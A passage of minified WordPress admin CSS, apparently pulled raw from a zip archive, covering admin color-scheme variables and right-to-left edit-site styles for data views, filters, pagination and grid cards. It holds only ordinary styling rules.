--wp-admin-border-width-focus:1.5px; } } body.admin-color-ectoplasm{ --wp-admin-theme-color:#523f6d; --wp-admin-theme-color--rgb:82, 63, 109; --wp-admin-theme-color-darker-10:#46365d; --wp-admin-theme-color-darker-10--rgb:69.8430232558, 53.6598837209, 92.8401162791; --wp-admin-theme-color-darker-20:#3a2c4d; --wp-admin-theme-color-darker-20--rgb:57.6860465116, 44.3197674419, 76.6802325581; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-ectoplasm{ --wp-admin-border-width-focus:1.5px; } } body.admin-color-midnight{ --wp-admin-theme-color:#e14d43; --wp-admin-theme-color--rgb:225, 77, 67; --wp-admin-theme-color-darker-10:#dd382d; --wp-admin-theme-color-darker-10--rgb:221.4908256881, 56.1788990826, 45.0091743119; --wp-admin-theme-color-darker-20:#d02c21; --wp-admin-theme-color-darker-20--rgb:207.8348623853, 44.2201834862, 33.1651376147; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-midnight{ --wp-admin-border-width-focus:1.5px; } } body.admin-color-ocean{ --wp-admin-theme-color:#627c83; --wp-admin-theme-color--rgb:98, 124, 131; --wp-admin-theme-color-darker-10:#576e74; --wp-admin-theme-color-darker-10--rgb:87.0873362445, 110.192139738, 116.4126637555; --wp-admin-theme-color-darker-20:#4c6066; --wp-admin-theme-color-darker-20--rgb:76.1746724891, 96.384279476, 101.8253275109; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-ocean{ --wp-admin-border-width-focus:1.5px; } } body.admin-color-sunrise{ --wp-admin-theme-color:#dd823b; --wp-admin-theme-color--rgb:221, 130, 59; --wp-admin-theme-color-darker-10:#d97426; --wp-admin-theme-color-darker-10--rgb:216.8782608696, 116.1847826087, 37.6217391304; --wp-admin-theme-color-darker-20:#c36922; --wp-admin-theme-color-darker-20--rgb:195.147826087, 104.5434782609, 33.852173913; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-sunrise{ --wp-admin-border-width-focus:1.5px; } }PK! ¼îÇÄÇÄ$css/dist/edit-site/style-rtl.min.cssnuȯÝí@charset "UTF-8";.admin-ui-page{background-color:#fff;color:#2f2f2f;container:admin-ui-page/inline-size;display:flex;flex-flow:column;height:100%;position:relative;z-index:1}@media not (prefers-reduced-motion){.admin-ui-page{transition:width .2s ease-out}}.admin-ui-page__header{background:#fff;border-bottom:1px solid #f0f0f0;padding:16px 48px;position:sticky;top:0}@container (max-width: 430px){.admin-ui-page__header{padding:16px 24px}}.admin-ui-page__header-subtitle{color:#757575;font-family:-apple-system,"system-ui",Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;font-weight:400;line-height:20px;margin:0;padding-block-end:8px}.admin-ui-page__content{display:flex;flex-direction:column;flex-grow:1;overflow:auto}.admin-ui-page__content.has-padding{padding:16px 20px}@container (max-width: 430px){.admin-ui-page__content.has-padding{padding:16px 24px}}.show-icon-labels .admin-ui-page__header-actions .components-button.has-icon{padding:0 8px;width:auto}.show-icon-labels .admin-ui-page__header-actions .components-button.has-icon svg{display:none}.show-icon-labels .admin-ui-page__header-actions .components-button.has-icon:after{content:attr(aria-label);font-size:12px}.dataviews-picker-wrapper,.dataviews-wrapper{box-sizing:border-box;container:dataviews-wrapper/inline-size;display:flex;flex-direction:column;font-size:13px;height:100%;line-height:1.4;overflow:auto;scroll-padding-bottom:64px}.dataviews-filters__container,.dataviews__view-actions{box-sizing:border-box;flex-shrink:0;padding:16px 48px;position:sticky;right:0}@media not (prefers-reduced-motion){.dataviews-filters__container,.dataviews__view-actions{transition:padding .1s ease-out}}.dataviews-loading,.dataviews-no-results{align-items:center;display:flex;flex-grow:1;justify-content:center;padding:0 48px}@media not (prefers-reduced-motion){.dataviews-loading,.dataviews-no-results{transition:padding .1s ease-out}}.dataviews-loading-more{text-align:center}@container (max-width: 430px){.dataviews-filters__container,.dataviews__view-actions{padding:12px 24px}.dataviews-loading,.dataviews-no-results{padding-left:24px;padding-right:24px}}.dataviews-title-field{font-size:13px;font-weight:500;width:100%}.dataviews-title-field,.dataviews-title-field a{color:#2f2f2f;text-overflow:ellipsis;white-space:nowrap}.dataviews-title-field a{display:block;flex-grow:0;overflow:hidden;text-decoration:none}.dataviews-title-field a:hover{color:var(--wp-admin-theme-color)}.dataviews-title-field a:focus{border-radius:2px;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color,#007cba);color:var(--wp-admin-theme-color--rgb)}.dataviews-title-field button.components-button.is-link{color:#1e1e1e;display:block;font-weight:inherit;overflow:hidden;text-decoration:none;text-overflow:ellipsis;white-space:nowrap;width:100%}.dataviews-title-field button.components-button.is-link:hover{color:var(--wp-admin-theme-color)}.dataviews-title-field--clickable{color:#2f2f2f;cursor:pointer}.dataviews-title-field--clickable:hover{color:var(--wp-admin-theme-color)}.dataviews-title-field--clickable:focus{border-radius:2px;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color,#007cba);color:var(--wp-admin-theme-color--rgb)}.components-card__body:has(>.dataviews-picker-wrapper),.components-card__body:has(>.dataviews-wrapper){overflow:hidden;padding:8px 0 0}.components-card__body:has(>.dataviews-picker-wrapper) .dataviews-filters__container,.components-card__body:has(>.dataviews-picker-wrapper) .dataviews-footer,.components-card__body:has(>.dataviews-picker-wrapper) .dataviews-loading,.components-card__body:has(>.dataviews-picker-wrapper) .dataviews-no-results,.components-card__body:has(>.dataviews-picker-wrapper) .dataviews-view-grid,.components-card__body:has(>.dataviews-picker-wrapper) .dataviews__view-actions,.components-card__body:has(>.dataviews-wrapper) .dataviews-filters__container,.components-card__body:has(>.dataviews-wrapper) .dataviews-footer,.components-card__body:has(>.dataviews-wrapper) .dataviews-loading,.components-card__body:has(>.dataviews-wrapper) .dataviews-no-results,.components-card__body:has(>.dataviews-wrapper) .dataviews-view-grid,.components-card__body:has(>.dataviews-wrapper) .dataviews__view-actions{padding-inline:24px}.components-card__body:has(>.dataviews-picker-wrapper) .dataviews-view-table tr td:first-child,.components-card__body:has(>.dataviews-picker-wrapper) .dataviews-view-table tr th:first-child,.components-card__body:has(>.dataviews-wrapper) .dataviews-view-table tr td:first-child,.components-card__body:has(>.dataviews-wrapper) .dataviews-view-table tr th:first-child{padding-inline-start:24px}.components-card__body:has(>.dataviews-picker-wrapper) .dataviews-view-table tr td:last-child,.components-card__body:has(>.dataviews-picker-wrapper) .dataviews-view-table tr th:last-child,.components-card__body:has(>.dataviews-wrapper) .dataviews-view-table tr td:last-child,.components-card__body:has(>.dataviews-wrapper) .dataviews-view-table tr th:last-child{padding-inline-end:24px}.dataviews-bulk-actions-footer__item-count{color:#1e1e1e;font-size:11px;font-weight:500;text-transform:uppercase}.dataviews-bulk-actions-footer__container{margin-left:auto;min-height:32px}.dataviews-filters__button{position:relative}.dataviews-filters__container{padding-top:0}.dataviews-filters__reset-button.dataviews-filters__reset-button[aria-disabled=true],.dataviews-filters__reset-button.dataviews-filters__reset-button[aria-disabled=true]:hover{opacity:0}.dataviews-filters__reset-button.dataviews-filters__reset-button[aria-disabled=true]:focus{opacity:1}.dataviews-filters__summary-popover{font-size:13px;line-height:1.4}.dataviews-filters__summary-popover .components-popover__content{border-radius:4px;max-width:250px;min-width:230px;width:100%}.dataviews-filters__summary-popover.components-dropdown__content .components-popover__content{padding:0}.dataviews-filters__summary-operators-container{padding:8px 16px}.dataviews-filters__summary-operators-container:has(+.dataviews-filters__search-widget-listbox),.dataviews-filters__summary-operators-container:has(+.dataviews-filters__search-widget-no-elements),.dataviews-filters__summary-operators-container:has(+.dataviews-filters__user-input-widget){border-bottom:1px solid #e0e0e0}.dataviews-filters__summary-operators-container:empty{display:none}.dataviews-filters__summary-operators-container .dataviews-filters__summary-operators-filter-name{color:#757575;flex-shrink:0;max-width:calc(100% - 55px);overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.dataviews-filters__summary-operators-container .dataviews-filters__summary-operators-filter-select{overflow:hidden;white-space:nowrap;width:100%}.dataviews-filters__summary-chip-container{position:relative;white-space:pre-wrap}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip{align-items:center;background:#f0f0f0;border:1px solid #0000;border-radius:16px;box-sizing:border-box;color:#2f2f2f;cursor:pointer;display:flex;min-height:32px;padding:4px 12px;position:relative}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.is-not-clickable{cursor:default}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.has-reset{padding-inline-end:28px}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip:focus-visible,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip:hover:not(.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.is-not-clickable),.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip[aria-expanded=true]{background:#e0e0e0;color:#1e1e1e}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.has-values{background:rgba(var(--wp-admin-theme-color--rgb),.04);color:var(--wp-admin-theme-color)}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.has-values:hover,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.has-values[aria-expanded=true]{background:rgba(var(--wp-admin-theme-color--rgb),.12)}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip:focus-visible{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:none}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip .dataviews-filters-__summary-filter-text-name{font-weight:500}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove{align-items:center;background:#0000;border:0;border-radius:50%;cursor:pointer;display:flex;height:24px;justify-content:center;left:4px;padding:0;position:absolute;top:50%;transform:translateY(-50%);width:24px}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove svg{fill:#757575}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:focus,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:hover{background:#e0e0e0}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:focus svg,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:hover svg{fill:#1e1e1e}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove.has-values svg{fill:var(--wp-admin-theme-color)}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove.has-values:hover{background:rgba(var(--wp-admin-theme-color--rgb),.08)}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:focus-visible{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:none}.dataviews-filters__search-widget-filter-combobox-list{border-top:1px solid #e0e0e0;max-height:184px;overflow:auto;padding:4px}.dataviews-filters__search-widget-filter-combobox-list .dataviews-filters__search-widget-filter-combobox-item-value [data-user-value]{font-weight:600}.dataviews-filters__search-widget-listbox{overflow:auto;padding:4px}.dataviews-filters__search-widget-listitem{align-items:center;border-radius:2px;box-sizing:border-box;cursor:default;display:flex;font-family:-apple-system,"system-ui",Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;font-weight:400;gap:8px;line-height:20px;min-height:32px;padding:4px 12px}.dataviews-filters__search-widget-listitem:last-child{margin-block-end:0}.dataviews-filters__search-widget-listitem:focus,.dataviews-filters__search-widget-listitem:hover,.dataviews-filters__search-widget-listitem[data-active-item]{background-color:var(--wp-admin-theme-color);color:#fff}.dataviews-filters__search-widget-listitem:focus .dataviews-filters__search-widget-listitem-description,.dataviews-filters__search-widget-listitem:hover .dataviews-filters__search-widget-listitem-description,.dataviews-filters__search-widget-listitem[data-active-item] .dataviews-filters__search-widget-listitem-description{color:#fff}.dataviews-filters__search-widget-listitem:focus .dataviews-filters__search-widget-listitem-single-selection,.dataviews-filters__search-widget-listitem:hover .dataviews-filters__search-widget-listitem-single-selection,.dataviews-filters__search-widget-listitem[data-active-item] .dataviews-filters__search-widget-listitem-single-selection{background:#fff;border-color:var(--wp-admin-theme-color-darker-20,#183ad6)}.dataviews-filters__search-widget-listitem:focus .dataviews-filters__search-widget-listitem-single-selection.is-selected,.dataviews-filters__search-widget-listitem:hover .dataviews-filters__search-widget-listitem-single-selection.is-selected,.dataviews-filters__search-widget-listitem[data-active-item] .dataviews-filters__search-widget-listitem-single-selection.is-selected{background:var(--wp-admin-theme-color-darker-20,#183ad6);border-color:var(--wp-admin-theme-color-darker-20,#183ad6)}.dataviews-filters__search-widget-listitem:focus .dataviews-filters__search-widget-listitem-multi-selection,.dataviews-filters__search-widget-listitem:hover .dataviews-filters__search-widget-listitem-multi-selection,.dataviews-filters__search-widget-listitem[data-active-item] .dataviews-filters__search-widget-listitem-multi-selection{border-color:var(--wp-admin-theme-color-darker-20,#183ad6)}.dataviews-filters__search-widget-listitem:focus .dataviews-filters__search-widget-listitem-multi-selection.is-selected,.dataviews-filters__search-widget-listitem:hover .dataviews-filters__search-widget-listitem-multi-selection.is-selected,.dataviews-filters__search-widget-listitem[data-active-item] .dataviews-filters__search-widget-listitem-multi-selection.is-selected{background:var(--wp-admin-theme-color-darker-20,#183ad6);border-color:var(--wp-admin-theme-color-darker-20,#183ad6)}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-description{color:#757575;display:block;font-size:12px;line-height:16px;overflow:hidden;text-overflow:ellipsis}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection{border:1px solid #1e1e1e;border-radius:50%;height:24px;margin-left:12px;max-width:24px;min-width:24px;position:relative;transition:none;width:24px}@media not (prefers-reduced-motion){.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection{transition:box-shadow .1s linear}}@media (min-width:600px){.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection{height:16px;max-width:16px;min-width:16px;width:16px}}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection:checked:before{background-color:#fff;border:4px solid #fff;box-sizing:inherit;height:12px;margin:0;position:absolute;right:50%;top:50%;transform:translate(50%,-50%);width:12px}@media (min-width:600px){.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection:checked:before{height:8px;width:8px}}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection:focus{box-shadow:0 0 0 2px #fff,0 0 0 4px var(--wp-admin-theme-color);outline:2px solid #0000}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection:checked{background:var(--wp-admin-theme-color);border:none}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection{margin:0;padding:0}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection.is-selected{background:var(--wp-admin-theme-color,#3858e9);border-color:var(--wp-admin-theme-color,#3858e9)}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection.is-selected:before{background-color:#fff;border:4px solid #fff;border-radius:50%;box-sizing:inherit;content:"";height:12px;margin:0;position:absolute;right:50%;top:50%;transform:translate(50%,-50%);width:12px}@media (min-width:600px){.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection.is-selected:before{height:8px;width:8px}}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection{--checkbox-size:24px;border:1px solid #949494;border-radius:2px;box-shadow:0 0 0 #0000;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:16px;line-height:normal;margin-left:12px;padding:6px 8px;transition:none}@media not (prefers-reduced-motion){.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection{transition:box-shadow .1s linear}}@media (min-width:600px){.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection{font-size:13px;line-height:normal}}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 .5px var(--wp-admin-theme-color)}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection::-webkit-input-placeholder{color:#1e1e1e9e}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection::-moz-placeholder{color:#1e1e1e9e}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection:-ms-input-placeholder{color:#1e1e1e9e}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection:focus{box-shadow:0 0 0 2px #fff,0 0 0 4px var(--wp-admin-theme-color);outline:2px solid #0000}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection:checked{background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color)}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection:checked::-ms-check{opacity:0}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection:checked:before,.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection[aria-checked=mixed]:before{color:#fff;margin:-3px -5px}@media (min-width:782px){.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection:checked:before,.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection[aria-checked=mixed]:before{margin:-4px -5px 0 0}}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection[aria-checked=mixed]{background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color)}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection[aria-checked=mixed]:before{content:"\f460";display:inline-block;float:right;font:normal 30px/1 dashicons;vertical-align:middle;width:16px;speak:none;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}@media (min-width:782px){.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection[aria-checked=mixed]:before{float:none;font-size:21px}}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection:disabled,.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection[aria-disabled=true]{background:#f0f0f0;border-color:#ddd;cursor:default;opacity:1}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection{background:#fff;color:#1e1e1e;height:var(--checkbox-size);margin:0;padding:0;position:relative;width:var(--checkbox-size)}@media (min-width:600px){.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection{--checkbox-size:16px}}@media not (prefers-reduced-motion){.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection{transition:border-color .1s ease-in-out}}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection.is-selected{background:var(--wp-admin-theme-color,#3858e9);border-color:var(--wp-admin-theme-color,#3858e9)}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection.is-selected svg{--checkmark-size:var(--checkbox-size);fill:#fff;height:var(--checkmark-size);position:absolute;right:50%;top:50%;transform:translate(50%,-50%);width:var(--checkmark-size)}@media (min-width:600px){.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection.is-selected svg{--checkmark-size:calc(var(--checkbox-size) + 4px)}}.dataviews-filters__search-widget-filter-combobox__wrapper{padding:8px;position:relative}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{border:1px solid #949494;border-radius:2px;box-shadow:0 0 0 #0000;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;line-height:normal;padding:6px 8px}@media not (prefers-reduced-motion){.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{transition:box-shadow .1s linear}}@media (min-width:600px){.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{font-size:13px;line-height:normal}}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 .5px var(--wp-admin-theme-color);outline:2px solid #0000}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-input-placeholder{color:#1e1e1e9e}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-moz-placeholder{color:#1e1e1e9e}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input:-ms-input-placeholder{color:#1e1e1e9e}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{display:block;font-size:16px;height:32px;margin-left:0;margin-right:0;padding:0 32px 0 8px;width:100%}@media (min-width:600px){.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{font-size:13px}}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input:focus{background:#fff;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::placeholder{color:#757575}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-search-cancel-button,.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-search-decoration,.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-search-results-button,.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-search-results-decoration{-webkit-appearance:none}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__icon{align-items:center;bottom:0;display:flex;inset-inline-start:12px;justify-content:center;position:absolute;top:0;width:24px}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__icon:dir(ltr){transform:scaleX(-1)}.dataviews-filters__container-visibility-toggle{flex-shrink:0;position:relative}.dataviews-filters-toggle__count{background:var(--wp-admin-theme-color,#3858e9);border-radius:8px;box-sizing:border-box;color:#fff;font-size:11px;height:16px;left:0;line-height:16px;min-width:16px;outline:var(--wp-admin-border-width-focus) solid #fff;padding:0 4px;position:absolute;text-align:center;top:0;transform:translate(-50%,-50%)}.dataviews-search{width:fit-content}.dataviews-filters__user-input-widget{padding:16px}.dataviews-filters__user-input-widget .components-input-control__prefix{padding-right:8px}.dataviews-filters__search-widget-no-elements{align-items:center;display:flex;justify-content:center;padding:16px}.dataviews-footer{background-color:#fff;border-top:1px solid #f0f0f0;bottom:0;flex-shrink:0;padding:12px 48px;position:sticky;right:0}@media not (prefers-reduced-motion){.dataviews-footer{transition:padding .1s ease-out}}.dataviews-footer{z-index:2}@container (max-width: 430px){.dataviews-footer{padding:12px 24px}}@container (max-width: 560px){.dataviews-footer{flex-direction:column!important}.dataviews-footer .dataviews-bulk-actions-footer__container{width:100%}.dataviews-footer .dataviews-bulk-actions-footer__item-count{flex-grow:1}.dataviews-footer .dataviews-pagination{justify-content:space-between;width:100%}}.dataviews-pagination__page-select{font-size:11px;font-weight:500;text-transform:uppercase}@media (min-width:600px){.dataviews-pagination__page-select .components-select-control__input{font-size:11px!important;font-weight:500}}.dataviews-action-modal{z-index:1000001}.dataviews-picker-footer__bulk-selection{align-self:flex-start;height:32px}.dataviews-picker-footer__actions{align-self:flex-end}.dataviews-selection-checkbox{--checkbox-input-size:24px}@media (min-width:600px){.dataviews-selection-checkbox{--checkbox-input-size:16px}}.dataviews-selection-checkbox{flex-shrink:0;line-height:0}.dataviews-selection-checkbox .components-checkbox-control__input-container{margin:0}.dataviews-view-config{container-type:inline-size;font-size:13px;line-height:1.4;width:320px}.dataviews-config__popover.is-expanded .dataviews-config__popover-content-wrapper{height:100%;overflow-y:scroll}.dataviews-config__popover.is-expanded .dataviews-config__popover-content-wrapper .dataviews-view-config{width:auto}.dataviews-view-config__sort-direction .components-toggle-group-control-option-base{text-transform:uppercase}.dataviews-settings-section__title.dataviews-settings-section__title{font-size:15px;line-height:24px}.dataviews-settings-section__sidebar{grid-column:span 4}.dataviews-settings-section__content,.dataviews-settings-section__content>*{grid-column:span 8}.dataviews-settings-section__content .is-divided-in-two{display:contents}.dataviews-settings-section__content .is-divided-in-two>*{grid-column:span 4}.dataviews-settings-section:has(.dataviews-settings-section__content:empty){display:none}@container (max-width: 500px){.dataviews-settings-section.dataviews-settings-section{grid-template-columns:repeat(2,1fr)}.dataviews-settings-section.dataviews-settings-section .dataviews-settings-section__content,.dataviews-settings-section.dataviews-settings-section .dataviews-settings-section__sidebar{grid-column:span 2}}.dataviews-field-control__field{height:32px}.dataviews-field-control__actions{position:absolute;top:-9999em}.dataviews-field-control__actions.dataviews-field-control__actions{gap:4px}.dataviews-field-control__field.is-interacting .dataviews-field-control__actions,.dataviews-field-control__field:focus-within .dataviews-field-control__actions,.dataviews-field-control__field:hover .dataviews-field-control__actions{position:unset;top:unset}.dataviews-field-control__icon{display:flex;width:24px}.dataviews-field-control__label-sub-label-container{flex-grow:1}.dataviews-field-control__label{display:block}.dataviews-field-control__sub-label{color:#757575;font-size:11px;font-style:normal;margin-bottom:0;margin-top:8px}.dataviews-view-grid-items{container-type:inline-size;display:grid;gap:32px;grid-template-columns:repeat(auto-fill,minmax(230px,1fr));grid-template-rows:max-content;margin-bottom:auto;padding:0 48px 24px}@container (max-width: 430px){.dataviews-view-grid-items{padding-left:24px;padding-right:24px}}@media not (prefers-reduced-motion){.dataviews-view-grid-items{transition:padding .1s ease-out}}.dataviews-view-grid .dataviews-view-grid__card{height:100%;justify-content:flex-start;position:relative}.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__title-actions{padding:8px 0 4px}.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__title-field{align-content:center;min-height:24px;overflow:hidden;text-align:start}.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__title-field--clickable{width:fit-content}.dataviews-view-grid .dataviews-view-grid__card.is-selected .dataviews-view-grid__fields .dataviews-view-grid__field .dataviews-view-grid__field-value{color:#1e1e1e}.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__media:focus:after,.dataviews-view-grid .dataviews-view-grid__card.is-selected .dataviews-view-grid__media:after{background-color:rgba(var(--wp-admin-theme-color--rgb),.08)}.dataviews-view-grid .dataviews-view-grid__card.is-selected .dataviews-view-grid__media:after{box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color)}.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__media:focus:after{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.dataviews-view-grid .dataviews-view-grid__media{aspect-ratio:1/1;background-color:#fff;border-radius:4px;overflow:hidden;position:relative;width:100%}.dataviews-view-grid .dataviews-view-grid__media img{height:100%;object-fit:cover;width:100%}.dataviews-view-grid .dataviews-view-grid__media:after{border-radius:4px;box-shadow:inset 0 0 0 1px #0000001a;content:"";height:100%;pointer-events:none;position:absolute;right:0;top:0;width:100%}.dataviews-view-grid .dataviews-view-grid__fields{font-size:12px;line-height:16px;position:relative}.dataviews-view-grid .dataviews-view-grid__fields:not(:empty){padding:0 0 12px}.dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field-value:not(:empty){line-height:20px;min-height:24px;padding-top:2px}.dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field{align-items:center;min-height:24px}.dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field .dataviews-view-grid__field-name{color:#757575;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;width:35%}.dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field .dataviews-view-grid__field-value{overflow:hidden;text-overflow:ellipsis;white-space:nowrap;width:65%}.dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field:not(:has(.dataviews-view-grid__field-value:not(:empty))){display:none}.dataviews-view-grid .dataviews-view-grid__badge-fields:not(:empty){padding-bottom:12px}.dataviews-view-grid__field-value:empty,.dataviews-view-grid__field:empty{display:none}.dataviews-view-grid__card .dataviews-selection-checkbox{opacity:0;position:absolute;right:8px;top:-9999em;z-index:1}@media not (prefers-reduced-motion){.dataviews-view-grid__card .dataviews-selection-checkbox{transition:opacity .1s linear}}@media (hover:none){.dataviews-view-grid__card .dataviews-selection-checkbox{opacity:1;top:8px}}.dataviews-view-grid__card.is-selected .dataviews-selection-checkbox,.dataviews-view-grid__card:focus-within .dataviews-selection-checkbox,.dataviews-view-grid__card:hover .dataviews-selection-checkbox{opacity:1;top:8px}.dataviews-view-grid__card .dataviews-view-grid__media-actions{left:4px;opacity:0;position:absolute;top:4px}.dataviews-view-grid__card .dataviews-view-grid__media-actions .dataviews-all-actions-button{background-color:#fff}@media not (prefers-reduced-motion){.dataviews-view-grid__card .dataviews-view-grid__media-actions{transition:opacity .1s linear}}@media (hover:none){.dataviews-view-grid__card .dataviews-view-grid__media-actions{opacity:1;top:4px}}.dataviews-view-grid__card .dataviews-view-grid__media-actions:has(.dataviews-all-actions-button[aria-expanded=true]),.dataviews-view-grid__card:focus-within .dataviews-view-grid__media-actions,.dataviews-view-grid__card:hover .dataviews-view-grid__media-actions{opacity:1}.dataviews-view-grid__media--clickable{cursor:pointer}.dataviews-view-grid__group-header{color:#1e1e1e;container-type:inline-size;font-size:15px;font-weight:500;margin:0 0 8px;padding:0 48px}@container (max-width: 